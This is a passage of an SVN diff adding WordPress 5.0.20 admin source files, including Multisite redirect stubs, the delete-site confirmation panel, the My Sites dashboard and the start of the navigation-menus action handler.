+$_wp_real_parent_file['edit-pages.php'] = 'edit.php?post_type=page';
+$_wp_real_parent_file['page-new.php'] = 'edit.php?post_type=page';
+$_wp_real_parent_file['wpmu-admin.php'] = 'tools.php';
+$_wp_real_parent_file['ms-admin.php'] = 'tools.php';
+
+// Ensure backward compatibility.
+$compat = array(
+	'index' => 'dashboard',
+	'edit' => 'posts',
+	'post' => 'posts',
+	'upload' => 'media',
+	'link-manager' => 'links',
+	'edit-pages' => 'pages',
+	'page' => 'pages',
+	'edit-comments' => 'comments',
+	'options-general' => 'settings',
+	'themes' => 'appearance',
+	);
+
+require_once(ABSPATH . 'wp-admin/includes/menu.php');
Index: /tags/5.0.20/src/wp-admin/moderation.php
===================================================================
--- /tags/5.0.20/src/wp-admin/moderation.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/moderation.php	(revision 56912)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * Comment Moderation Administration Screen.
+ *
+ * Redirects to edit-comments.php?comment_status=moderated.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+wp_redirect( admin_url('edit-comments.php?comment_status=moderated') );
+exit;
Index: /tags/5.0.20/src/wp-admin/ms-admin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/ms-admin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/ms-admin.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Multisite administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url() );
+exit;
Index: /tags/5.0.20/src/wp-admin/ms-delete-site.php
===================================================================
--- /tags/5.0.20/src/wp-admin/ms-delete-site.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/ms-delete-site.php	(revision 56912)
@@ -0,0 +1,107 @@
+<?php
+/**
+ * Multisite delete site panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can( 'delete_site' ) )
+	wp_die(__( 'Sorry, you are not allowed to delete this site.'));
+
+if ( isset( $_GET['h'] ) && $_GET['h'] != '' && get_option( 'delete_blog_hash' ) != false ) {
+	if ( hash_equals( get_option( 'delete_blog_hash' ), $_GET['h'] ) ) {
+		wpmu_delete_blog( get_current_blog_id() );
+		wp_die( sprintf( __( 'Thank you for using %s, your site has been deleted. Happy trails to you until we meet again.' ), get_network()->site_name ) );
+	} else {
+		wp_die( __( 'Sorry, the link you clicked is stale. Please select another option.' ) );
+	}
+}
+
+$blog = get_site();
+$user = wp_get_current_user();
+
+$title = __( 'Delete Site' );
+$parent_file = 'tools.php';
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+echo '<div class="wrap">';
+echo '<h1>' . esc_html( $title ) . '</h1>';
+
+if ( isset( $_POST['action'] ) && $_POST['action'] == 'deleteblog' && isset( $_POST['confirmdelete'] ) && $_POST['confirmdelete'] == '1' ) {
+	check_admin_referer( 'delete-blog' );
+
+	$hash = wp_generate_password( 20, false );
+	update_option( 'delete_blog_hash', $hash );
+
+	$url_delete = esc_url( admin_url( 'ms-delete-site.php?h=' . $hash ) );
+
+	$switched_locale = switch_to_locale( get_locale() );
+
+	/* translators: Do not translate USERNAME, URL_DELETE, SITE_NAME: those are placeholders. */
+	$content = __( "Howdy ###USERNAME###,
+
+You recently clicked the 'Delete Site' link on your site and filled in a
+form on that page.
+
+If you really want to delete your site, click the link below. You will not
+be asked to confirm again so only click this link if you are absolutely certain:
+###URL_DELETE###
+
+If you delete your site, please consider opening a new site here
+some time in the future! (But remember your current site and username
+are gone forever.)
+
+Thanks for using the site,
+Webmaster
+###SITE_NAME###" );
+	/**
+	 * Filters the email content sent when a site in a Multisite network is deleted.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $content The email content that will be sent to the user who deleted a site in a Multisite network.
+	 */
+	$content = apply_filters( 'delete_site_email_content', $content );
+
+	$content = str_replace( '###USERNAME###', $user->user_login, $content );
+	$content = str_replace( '###URL_DELETE###', $url_delete, $content );
+	$content = str_replace( '###SITE_NAME###', get_network()->site_name, $content );
+
+	wp_mail( get_option( 'admin_email' ), "[ " . wp_specialchars_decode( get_option( 'blogname' ) ) . " ] ".__( 'Delete My Site' ), $content );
+
+	if ( $switched_locale ) {
+		restore_previous_locale();
+	}
+	?>
+
+	<p><?php _e( 'Thank you. Please check your email for a link to confirm your action. Your site will not be deleted until this link is clicked.' ) ?></p>
+
+<?php } else {
+	?>
+	<p><?php printf( __( 'If you do not want to use your %s site any more, you can delete it using the form below. When you click <strong>Delete My Site Permanently</strong> you will be sent an email with a link in it. Click on this link to delete your site.'), get_network()->site_name); ?></p>
+	<p><?php _e( 'Remember, once deleted your site cannot be restored.' ) ?></p>
+
+	<form method="post" name="deletedirect">
+		<?php wp_nonce_field( 'delete-blog' ) ?>
+		<input type="hidden" name="action" value="deleteblog" />
+		<p><input id="confirmdelete" type="checkbox" name="confirmdelete" value="1" /> <label for="confirmdelete"><strong><?php
+			printf(
+				/* translators: %s: site address */
+				__( "I'm sure I want to permanently disable my site, and I am aware I can never get it back or use %s again." ),
+				$blog->domain . $blog->path
+			);
+		?></strong></label></p>
+		<?php submit_button( __( 'Delete My Site Permanently' ) ); ?>
+	</form>
+ 	<?php
+}
+echo '</div>';
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/ms-edit.php
===================================================================
--- /tags/5.0.20/src/wp-admin/ms-edit.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/ms-edit.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Action handler for Multisite administration panels.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url() );
+exit;
Index: /tags/5.0.20/src/wp-admin/ms-options.php
===================================================================
--- /tags/5.0.20/src/wp-admin/ms-options.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/ms-options.php	(revision 56912)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * Multisite network settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url('settings.php') );
Index: /tags/5.0.20/src/wp-admin/ms-sites.php
===================================================================
--- /tags/5.0.20/src/wp-admin/ms-sites.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/ms-sites.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Multisite sites administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url('sites.php') );
+exit;
Index: /tags/5.0.20/src/wp-admin/ms-themes.php
===================================================================
--- /tags/5.0.20/src/wp-admin/ms-themes.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/ms-themes.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Multisite themes administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url('themes.php') );
+exit;
Index: /tags/5.0.20/src/wp-admin/ms-upgrade-network.php
===================================================================
--- /tags/5.0.20/src/wp-admin/ms-upgrade-network.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/ms-upgrade-network.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Multisite upgrade administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url('upgrade.php') );
+exit;
Index: /tags/5.0.20/src/wp-admin/ms-users.php
===================================================================
--- /tags/5.0.20/src/wp-admin/ms-users.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/ms-users.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Multisite users administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url('users.php') );
+exit;
Index: /tags/5.0.20/src/wp-admin/my-sites.php
===================================================================
--- /tags/5.0.20/src/wp-admin/my-sites.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/my-sites.php	(revision 56912)
@@ -0,0 +1,151 @@
+<?php
+/**
+ * My Sites dashboard.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can('read') )
+	wp_die( __( 'Sorry, you are not allowed to access this page.' ) );
+
+$action = isset( $_POST['action'] ) ? $_POST['action'] : 'splash';
+
+$blogs = get_blogs_of_user( $current_user->ID );
+
+$updated = false;
+if ( 'updateblogsettings' == $action && isset( $_POST['primary_blog'] ) ) {
+	check_admin_referer( 'update-my-sites' );
+
+	$blog = get_site( (int) $_POST['primary_blog'] );
+	if ( $blog && isset( $blog->domain ) ) {
+		update_user_option( $current_user->ID, 'primary_blog', (int) $_POST['primary_blog'], true );
+		$updated = true;
+	} else {
+		wp_die( __( 'The primary site you chose does not exist.' ) );
+	}
+}
+
+$title = __( 'My Sites' );
+$parent_file = 'index.php';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('This screen shows an individual user all of their sites in this network, and also allows that user to set a primary site. They can use the links under each site to visit either the front end or the dashboard for that site.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Dashboard_My_Sites_Screen">Documentation on My Sites</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( $updated ) { ?>
+	<div id="message" class="updated notice is-dismissible"><p><strong><?php _e( 'Settings saved.' ); ?></strong></p></div>
+<?php } ?>
+
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php
+echo esc_html( $title );
+?></h1>
+
+<?php
+if ( in_array( get_site_option( 'registration' ), array( 'all', 'blog' ) ) ) {
+	/** This filter is documented in wp-login.php */
+	$sign_up_url = apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) );
+	printf( ' <a href="%s" class="page-title-action">%s</a>', esc_url( $sign_up_url ), esc_html_x( 'Add New', 'site' ) );
+}
+
+if ( empty( $blogs ) ) :
+	echo '<p>';
+	_e( 'You must be a member of at least one site to use this page.' );
+	echo '</p>';
+else :
+?>
+
+<hr class="wp-header-end">
+
+<form id="myblogs" method="post">
+	<?php
+	choose_primary_blog();
+	/**
+	 * Fires before the sites list on the My Sites screen.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'myblogs_allblogs_options' );
+	?>
+	<br clear="all" />
+	<ul class="my-sites striped">
+	<?php
+	/**
+	 * Enable the Global Settings section on the My Sites screen.
+	 *
+	 * By default, the Global Settings section is hidden. Passing a non-empty
+	 * string to this filter will enable the section, and allow new settings
+	 * to be added, either globally or for specific sites.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param string $settings_html The settings HTML markup. Default empty.
+	 * @param object $context       Context of the setting (global or site-specific). Default 'global'.
+	 */
+	$settings_html = apply_filters( 'myblogs_options', '', 'global' );
+	if ( $settings_html != '' ) {
+		echo '<h3>' . __( 'Global Settings' ) . '</h3>';
+		echo $settings_html;
+	}
+	reset( $blogs );
+
+	foreach ( $blogs as $user_blog ) {
+		switch_to_blog( $user_blog->userblog_id );
+
+		echo "<li>";
+		echo "<h3>{$user_blog->blogname}</h3>";
+
+		$actions = "<a href='" . esc_url( home_url() ). "'>" . __( 'Visit' ) . '</a>';
+
+		if ( current_user_can( 'read' ) ) {
+			$actions .= " | <a href='" . esc_url( admin_url() ) . "'>" . __( 'Dashboard' ) . '</a>';
+		}
+
+		/**
+		 * Filters the row links displayed for each site on the My Sites screen.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param string $actions   The HTML site link markup.
+		 * @param object $user_blog An object containing the site data.
+		 */
+		$actions = apply_filters( 'myblogs_blog_actions', $actions, $user_blog );
+		echo "<p class='my-sites-actions'>" . $actions . '</p>';
+
+		/** This filter is documented in wp-admin/my-sites.php */
+		echo apply_filters( 'myblogs_options', '', $user_blog );
+		echo "</li>";
+
+		restore_current_blog();
+	}?>
+	</ul>
+	<?php
+	if ( count( $blogs ) > 1 || has_action( 'myblogs_allblogs_options' ) || has_filter( 'myblogs_options' ) ) {
+		?><input type="hidden" name="action" value="updateblogsettings" /><?php
+		wp_nonce_field( 'update-my-sites' );
+		submit_button();
+	}
+	?>
+	</form>
+<?php endif; ?>
+	</div>
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/nav-menus.php
===================================================================
--- /tags/5.0.20/src/wp-admin/nav-menus.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/nav-menus.php	(revision 56912)
@@ -0,0 +1,855 @@
+<?php
+/**
+ * WordPress Administration for Navigation Menus
+ * Interface functions
+ *
+ * @version 2.0.0
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+// Load all the nav menu interface functions
+require_once( ABSPATH . 'wp-admin/includes/nav-menu.php' );
+
+if ( ! current_theme_supports( 'menus' ) && ! current_theme_supports( 'widgets' ) )
+	wp_die( __( 'Your theme does not support navigation menus or widgets.' ) );
+
+// Permissions Check
+if ( ! current_user_can( 'edit_theme_options' ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '</p>',
+		403
+	);
+}
+
+wp_enqueue_script( 'nav-menu' );
+
+if ( wp_is_mobile() )
+	wp_enqueue_script( 'jquery-touch-punch' );
+
+// Container for any messages displayed to the user
+$messages = array();
+
+// Container that stores the name of the active menu
+$nav_menu_selected_title = '';
+
+// The menu id of the current menu being edited
+$nav_menu_selected_id = isset( $_REQUEST['menu'] ) ? (int) $_REQUEST['menu'] : 0;
+
+// Get existing menu locations assignments
+$locations = get_registered_nav_menus();
+$menu_locations = get_nav_menu_locations();
+$num_locations = count( array_keys( $locations ) );
+
+// Allowed actions: add, update, delete
+$action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'edit';
+
+/*
+ * If a JSON blob of navigation menu data is found, expand it and inject it
+ * into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134.
+ */
+_wp_expand_nav_menu_post_data();
+
+switch ( $action ) {
+	case 'add-menu-item':
+		check_admin_referer( 'add-menu_item', 'menu-settings-column-nonce' );
+		if ( isset( $_REQUEST['nav-menu-locations'] ) )
+			set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_REQUEST['menu-locations'] ) );
+		elseif ( isset( $_REQUEST['menu-item'] ) )
+			wp_save_nav_menu_items( $nav_menu_selected_id, $_REQUEST['menu-item'] );
+		break;
+	case 'move-down-menu-item' :
+
+		// Moving down a menu item is the same as moving up the next in order.
+		check_admin_referer( 'move-menu_item' );
+		$menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0;
+		if ( is_nav_menu_item( $menu_item_id ) ) {
+			$menus = isset( $_REQUEST['menu'] ) ? array( (int) $_REQUEST['menu'] ) : wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );
+			if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) {
+				$menu_id = (int) $menus[0];
+				$ordered_menu_items = wp_get_nav_menu_items( $menu_id );
+				$menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) );
+
+				// Set up the data we need in one pass through the array of menu items.
+				$dbids_to_orders = array();
+				$orders_to_dbids = array();
+				foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) {
+					if ( isset( $ordered_menu_item_object->ID ) ) {
+						if ( isset( $ordered_menu_item_object->menu_order ) ) {
+							$dbids_to_orders[$ordered_menu_item_object->ID] = $ordered_menu_item_object->menu_order;
+							$orders_to_dbids[$ordered_menu_item_object->menu_order] = $ordered_menu_item_object->ID;
+						}
+					}
+				}
+
+				// Get next in order.
+				if (
+					isset( $orders_to_dbids[$dbids_to_orders[$menu_item_id] + 1] )
+				) {
+					$next_item_id = $orders_to_dbids[$dbids_to_orders[$menu_item_id] + 1];
+					$next_item_data = (array) wp_setup_nav_menu_item( get_post( $next_item_id ) );
+
+					// If not siblings of same parent, bubble menu item up but keep order.
+					if (
+						! empty( $menu_item_data['menu_item_parent'] ) &&
+						(
+							empty( $next_item_data['menu_item_parent'] ) ||
+							$next_item_data['menu_item_parent'] != $menu_item_data['menu_item_parent']
+						)
+					) {
+
+						$parent_db_id = in_array( $menu_item_data['menu_item_parent'], $orders_to_dbids ) ? (int) $menu_item_data['menu_item_parent'] : 0;
+
+						$parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) );
+
+						if ( ! is_wp_error( $parent_object ) ) {
+							$parent_data = (array) $parent_object;
+							$menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent'];
+							update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
+
+						}
+
+					// Make menu item a child of its next sibling.
+					} else {
+						$next_item_data['menu_order'] = $next_item_data['menu_order'] - 1;
+						$menu_item_data['menu_order'] = $menu_item_data['menu_order'] + 1;
+
+						$menu_item_data['menu_item_parent'] = $next_item_data['ID'];
+						update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
+
+						wp_update_post($menu_item_data);
+						wp_update_post($next_item_data);
+					}
+
+				// The item is last but still has a parent, so bubble up.
+				} elseif (
+					! empty( $menu_item_data['menu_item_parent'] ) &&
+					in_array( $menu_item_data['menu_item_parent'], $orders_to_dbids )
+				) {
+					$menu_item_data['menu_item_parent'] = (int) get_post_meta( $menu_item_data['menu_item_parent'], '_menu_item_menu_item_parent', true);
+					update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
+				}
+			}
+		}
+
+		break;
+	case 'move-up-menu-item' :
+		check_admin_referer( 'move-menu_item' );
+		$menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0;
+		if ( is_nav_menu_item( $menu_item_id ) ) {
+			$menus = isset( $_REQUEST['menu'] ) ? array( (int) $_REQUEST['menu'] ) : wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );
+			if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) {
+				$menu_id = (int) $menus[0];
+				$ordered_menu_items = wp_get_nav_menu_items( $menu_id );
+				$menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) );
+
+				// Set up the data we need in one pass through the array of menu items.
+				$dbids_to_orders = array();
+				$orders_to_dbids = array();
+				foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) {
+					if ( isset( $ordered_menu_item_object->ID ) ) {
+						if ( isset( $ordered_menu_item_object->menu_order ) ) {
+							$dbids_to_orders[$ordered_menu_item_object->ID] = $ordered_menu_item_object->menu_order;
+							$orders_to_dbids[$ordered_menu_item_object->menu_order] = $ordered_menu_item_object->ID;
+						}
+					}
+				}
+
+				// If this menu item is not first.
+				if ( ! empty( $dbids_to_orders[$menu_item_id] ) && ! empty( $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] ) ) {
+
+					// If this menu item is a child of the previous.
+					if (
+						! empty( $menu_item_data['menu_item_parent'] ) &&
+						in_array( $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ) ) &&
+						isset( $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] ) &&
+						( $menu_item_data['menu_item_parent'] == $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] )
+					) {
+						$parent_db_id = in_array( $menu_item_data['menu_item_parent'], $orders_to_dbids ) ? (int) $menu_item_data['menu_item_parent'] : 0;
+						$parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) );
+
+						if ( ! is_wp_error( $parent_object ) ) {
+							$parent_data = (array) $parent_object;
+
+							/*
+							 * If there is something before the parent and parent a child of it,
+							 * make menu item a child also of it.
+							 */
+							if (
+								! empty( $dbids_to_orders[$parent_db_id] ) &&
+								! empty( $orders_to_dbids[$dbids_to_orders[$parent_db_id] - 1] ) &&
+								! empty( $parent_data['menu_item_parent'] )
+							) {
+								$menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent'];
+
+							/*
+							 * Else if there is something before parent and parent not a child of it,
+							 * make menu item a child of that something's parent
+							 */
+							} elseif (
+								! empty( $dbids_to_orders[$parent_db_id] ) &&
+								! empty( $orders_to_dbids[$dbids_to_orders[$parent_db_id] - 1] )
+							) {
+								$_possible_parent_id = (int) get_post_meta( $orders_to_dbids[$dbids_to_orders[$parent_db_id] - 1], '_menu_item_menu_item_parent', true);
+								if ( in_array( $_possible_parent_id, array_keys( $dbids_to_orders ) ) )
+									$menu_item_data['menu_item_parent'] = $_possible_parent_id;
+								else
+									$menu_item_data['menu_item_parent'] = 0;
+
+							// Else there isn't something before the parent.
+							} else {
+								$menu_item_data['menu_item_parent'] = 0;
+							}
+
+							// Set former parent's [menu_order] to that of menu-item's.
+							$parent_data['menu_order'] = $parent_data['menu_order'] + 1;
+
+							// Set menu-item's [menu_order] to that of former parent.
+							$menu_item_data['menu_order'] = $menu_item_data['menu_order'] - 1;
+
+							// Save changes.
+							update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
+							wp_update_post($menu_item_data);
+							wp_update_post($parent_data);
+						}
+
+					// Else this menu item is not a child of the previous.
+					} elseif (
+						empty( $menu_item_data['menu_order'] ) ||
+						empty( $menu_item_data['menu_item_parent'] ) ||
+						! in_array( $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ) ) ||
+						empty( $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] ) ||
+						$orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1] != $menu_item_data['menu_item_parent']
+					) {
+						// Just make it a child of the previous; keep the order.
+						$menu_item_data['menu_item_parent'] = (int) $orders_to_dbids[$dbids_to_orders[$menu_item_id] - 1];
+						update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
+						wp_update_post($menu_item_data);
+					}
+				}
+			}
+		}
+		break;
+
+	case 'delete-menu-item':
+		$menu_item_id = (int) $_REQUEST['menu-item'];
+
+		check_admin_referer( 'delete-menu_item_' . $menu_item_id );
+
+		if ( is_nav_menu_item( $menu_item_id ) && wp_delete_post( $menu_item_id, true ) )
+			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __('The menu item has been successfully deleted.') . '</p></div>';
+		break;
+
+	case 'delete':
+		check_admin_referer( 'delete-nav_menu-' . $nav_menu_selected_id );
+		if ( is_nav_menu( $nav_menu_selected_id ) ) {
+			$deletion = wp_delete_nav_menu( $nav_menu_selected_id );
+		} else {
+			// Reset the selected menu.
+			$nav_menu_selected_id = 0;
+			unset( $_REQUEST['menu'] );
+		}
+
+		if ( ! isset( $deletion ) )
+			break;
+
+		if ( is_wp_error( $deletion ) )
+			$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . $deletion->get_error_message() . '</p></div>';
+		else
+			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __( 'The menu has been successfully deleted.' ) . '</p></div>';
+		break;
+
+	case 'delete_menus':
+		check_admin_referer( 'nav_menus_bulk_actions' );
+		foreach ( $_REQUEST['delete_menus'] as $menu_id_to_delete ) {
+			if ( ! is_nav_menu( $menu_id_to_delete ) )
+				continue;
+
+			$deletion = wp_delete_nav_menu( $menu_id_to_delete );
+			if ( is_wp_error( $deletion ) ) {
+				$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . $deletion->get_error_message() . '</p></div>';
+				$deletion_error = true;
+			}
+		}
+
+		if ( empty( $deletion_error ) )
+			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __( 'Selected menus have been successfully deleted.' ) . '</p></div>';
+		break;
+
+	case 'update':
+		check_admin_referer( 'update-nav_menu', 'update-nav-menu-nonce' );
+
+		// Remove menu locations that have been unchecked.
+		foreach ( $locations as $location => $description ) {
+			if ( ( empty( $_POST['menu-locations'] ) || empty( $_POST['menu-locations'][ $location ] ) ) && isset( $menu_locations[ $location ] ) && $menu_locations[ $location ] == $nav_menu_selected_id )
+				unset( $menu_locations[ $location ] );
+		}
+
+		// Merge new and existing menu locations if any new ones are set.
+		if ( isset( $_POST['menu-locations'] ) ) {
+			$new_menu_locations = array_map( 'absint', $_POST['menu-locations'] );
+			$menu_locations = array_merge( $menu_locations, $new_menu_locations );
+		}
+
+		// Set menu locations.
+		set_theme_mod( 'nav_menu_locations', $menu_locations );
+
+		// Add Menu.
+		if ( 0 == $nav_menu_selected_id ) {
+			$new_menu_title = trim( esc_html( $_POST['menu-name'] ) );
+
+			if ( $new_menu_title ) {
+				$_nav_menu_selected_id = wp_update_nav_menu_object( 0, array('menu-name' => $new_menu_title) );
+
+				if ( is_wp_error( $_nav_menu_selected_id ) ) {
+					$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . $_nav_menu_selected_id->get_error_message() . '</p></div>';
+				} else {
+					$_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id );
+					$nav_menu_selected_id = $_nav_menu_selected_id;
+					$nav_menu_selected_title = $_menu_object->name;
+					if ( isset( $_REQUEST['menu-item'] ) )
+						wp_save_nav_menu_items( $nav_menu_selected_id, absint( $_REQUEST['menu-item'] ) );
+					if ( isset( $_REQUEST['zero-menu-state'] ) ) {
+						// If there are menu items, add them
+						wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title );
+						// Auto-save nav_menu_locations
+						$locations = get_nav_menu_locations();
+						foreach ( $locations as $location => $menu_id ) {
+								$locations[ $location ] = $nav_menu_selected_id;
+								break; // There should only be 1
+						}
+						set_theme_mod( 'nav_menu_locations', $locations );
+					}
+					if ( isset( $_REQUEST['use-location'] ) ) {
+						$locations = get_registered_nav_menus();
+						$menu_locations = get_nav_menu_locations();
+						if ( isset( $locations[ $_REQUEST['use-location'] ] ) )
+							$menu_locations[ $_REQUEST['use-location'] ] = $nav_menu_selected_id;
+						set_theme_mod( 'nav_menu_locations', $menu_locations );
+					}
+
+					// $messages[] = '<div id="message" class="updated"><p>' . sprintf( __( '<strong>%s</strong> has been created.' ), $nav_menu_selected_title ) . '</p></div>';
+					wp_redirect( admin_url( 'nav-menus.php?menu=' . $_nav_menu_selected_id ) );
+					exit();
+				}
+			} else {
+				$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . __( 'Please enter a valid menu name.' ) . '</p></div>';
+			}
+
+		// Update existing menu.
+		} else {
+
+			$_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id );
+
+			$menu_title = trim( esc_html( $_POST['menu-name'] ) );
+			if ( ! $menu_title ) {
+				$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . __( 'Please enter a valid menu name.' ) . '</p></div>';
+				$menu_title = $_menu_object->name;
+			}
+
+			if ( ! is_wp_error( $_menu_object ) ) {
+				$_nav_menu_selected_id = wp_update_nav_menu_object( $nav_menu_selected_id, array( 'menu-name' => $menu_title ) );
+				if ( is_wp_error( $_nav_menu_selected_id ) ) {
+					$_menu_object = $_nav_menu_selected_id;
+					$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . $_nav_menu_selected_id->get_error_message() . '</p></div>';
+				} else {
+					$_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id );
+					$nav_menu_selected_title = $_menu_object->name;
+				}
+			}
+
+			// Update menu items.
+			if ( ! is_wp_error( $_menu_object ) ) {
+				$messages = array_merge( $messages, wp_nav_menu_update_menu_items( $_nav_menu_selected_id, $nav_menu_selected_title ) );
+
+				// If the menu ID changed, redirect to the new URL.
+				if ( $nav_menu_selected_id != $_nav_menu_selected_id ) {
+					wp_redirect( admin_url( 'nav-menus.php?menu=' . intval( $_nav_menu_selected_id ) ) );
+					exit();
+				}
+			}
+		}
+		break;
+	case 'locations':
+		if ( ! $num_locations ) {
+			wp_redirect( admin_url( 'nav-menus.php' ) );
+			exit();
+		}
+
+		add_filter( 'screen_options_show_screen', '__return_false' );
+
+		if ( isset( $_POST['menu-locations'] ) ) {
+			check_admin_referer( 'save-menu-locations' );
+
+			$new_menu_locations = array_map( 'absint', $_POST['menu-locations'] );
+			$menu_locations = array_merge( $menu_locations, $new_menu_locations );
+			// Set menu locations
+			set_theme_mod( 'nav_menu_locations', $menu_locations );
+
+			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __( 'Menu locations updated.' ) . '</p></div>';
+		}
+		break;
+}
+
+// Get all nav menus.
+$nav_menus = wp_get_nav_menus();
+$menu_count = count( $nav_menus );
+
